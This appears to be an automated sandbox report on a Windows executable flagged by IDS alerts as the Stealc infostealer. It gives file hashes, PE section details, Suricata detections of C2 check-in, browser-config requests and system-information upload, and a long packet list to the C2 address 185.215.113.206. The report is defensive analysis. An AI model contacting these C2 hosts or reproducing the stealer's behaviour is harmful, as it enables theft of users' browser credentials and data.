Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944129991668574
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'864'192 bytes
MD5:	02db246e909a8cd8c3d2b6767af32136
SHA1:	4cee20e045f7a1c87d1946908d4c5005efa0e3f2
SHA256:	4163995ebdbc9c128dea6a64838fba0e4bc658e9b1a3e2d07e24ea1a5de406b9
SHA512:	5c030b6f45373286bbbca5340746d4cc0b4294c9e07cb4820a00afc2e29274ab7b18fdab5f3215fea018935d01ba08f30ee84b5c584fb51863a6ba525ea2676d
SSDEEP:	49152:o1VqB/bBXscxUyppeqXMt6amvzJ36gIK2rY86Sy/L3aA9Nf:ZBVcuUmeqXMt6tt36gIKGY2yD3aA9N
TLSH:	938533336C64EB69D4C9423212ED6B3D2E7C4FC515178BAA6E8A19761CBBB3360CCD14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xab3000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FFBACC5B85Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	7e2faa6521aa04bf502ef9c3ff693b82	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x2b0	0x200	367ec7e9d52e4665bb9a647cb4239413	False	0.794921875	data	6.019680328754247	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b8000	0x200	f5e410ba7fbda24ed17ffc6352a5fc0e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
typyooby	0x504000	0x1ae000	0x1ad400	f9ac9473e253514948b5b701c071d790	False	0.9947890124490391	data	7.9531545841336	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ebtpxuyk	0x6b2000	0x1000	0x400	107ba9e5dd35735448a5990a99b26282	False	0.8046875	data	6.276926303639186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6b3000	0x3000	0x2200	26f8b2442b1e677527c9247b1ef3c23a	False	0.0627297794117647	DOS executable (COM)	0.8046866860551763	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6b113c	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T06:48:02.908050+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-28T06:48:03.393292+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-28T06:48:03.518959+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-28T06:48:03.848131+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-28T06:48:03.982672+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-11-28T06:48:05.425015+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-28T06:48:06.511160+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-28T06:48:29.332707+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:31.320854+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:32.766796+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:34.211356+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:38.054745+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:39.118463+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49750	185.215.113.206	80	TCP
2024-11-28T06:48:44.758506+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49849	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 06:47:55.377401114 CET	49674	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:47:55.377402067 CET	49675	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:47:55.486862898 CET	49673	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:00.930218935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:01.054135084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:01.054244041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:01.054466963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:01.178215027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:02.438864946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:02.438993931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:02.443636894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:02.567353964 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:02.907970905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:02.908050060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:02.939848900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.063605070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.393096924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.393188953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.393291950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.393291950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.395199060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.518959045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848018885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848108053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848119974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848130941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.848167896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.848167896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.848212004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848223925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848233938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.848253965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.848294020 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.856734991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:03.856786013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.858547926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:03.982671976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.311497927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.311674118 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:04.339560032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:04.339651108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:04.463361025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.463414907 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.463465929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.463567019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.463617086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.463656902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:04.986763954 CET	49674	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:04.986797094 CET	49675	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:05.096327066 CET	49673	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:05.424951077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:05.425014973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.059983969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.184055090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.510989904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.511025906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.511159897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.515222073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.515328884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.515336037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.515400887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.523870945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.523933887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.527070999 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.527128935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.527153015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.527199984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.535725117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.535782099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.535939932 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.535990953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.544451952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.544509888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.544526100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.544570923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.553045988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.553100109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.636277914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.636295080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.636403084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.640394926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.640449047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.640510082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.640559912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.649050951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.649100065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.649136066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.649178028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.657748938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.657799959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.657840967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.657886028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.666893959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.666904926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.666969061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.712594986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.712688923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.712775946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.712826014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.716952085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.717012882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.717114925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.717171907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.725703955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.725776911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.725864887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.725914001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.733836889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.733866930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.733933926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.742501974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.742580891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.742615938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.742659092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.751163960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.751269102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.751280069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.751326084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.759865046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.759948969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.763698101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.763766050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.763808966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.763864040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.772361994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.772525072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.772542000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.772598982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.782411098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.782490969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.782505989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.782706976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.788809061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.788872957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.788927078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.788981915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.795239925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.795299053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.837721109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.837814093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.838011026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.838068008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.840733051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.840790033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.840882063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.840933084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.846574068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.846631050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.846705914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.846757889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.852067947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.852128983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.852293968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.852349997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.858000040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.858067989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.858148098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.858201981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.863864899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.863930941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.863979101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.864032030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.869694948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.869792938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.869803905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.869865894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.875583887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.875653028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.875698090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.875744104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.881496906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.881561041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.881637096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:06.881690025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:06.913305044 CET	80	49704	185.215.113.206	192.168.2.5
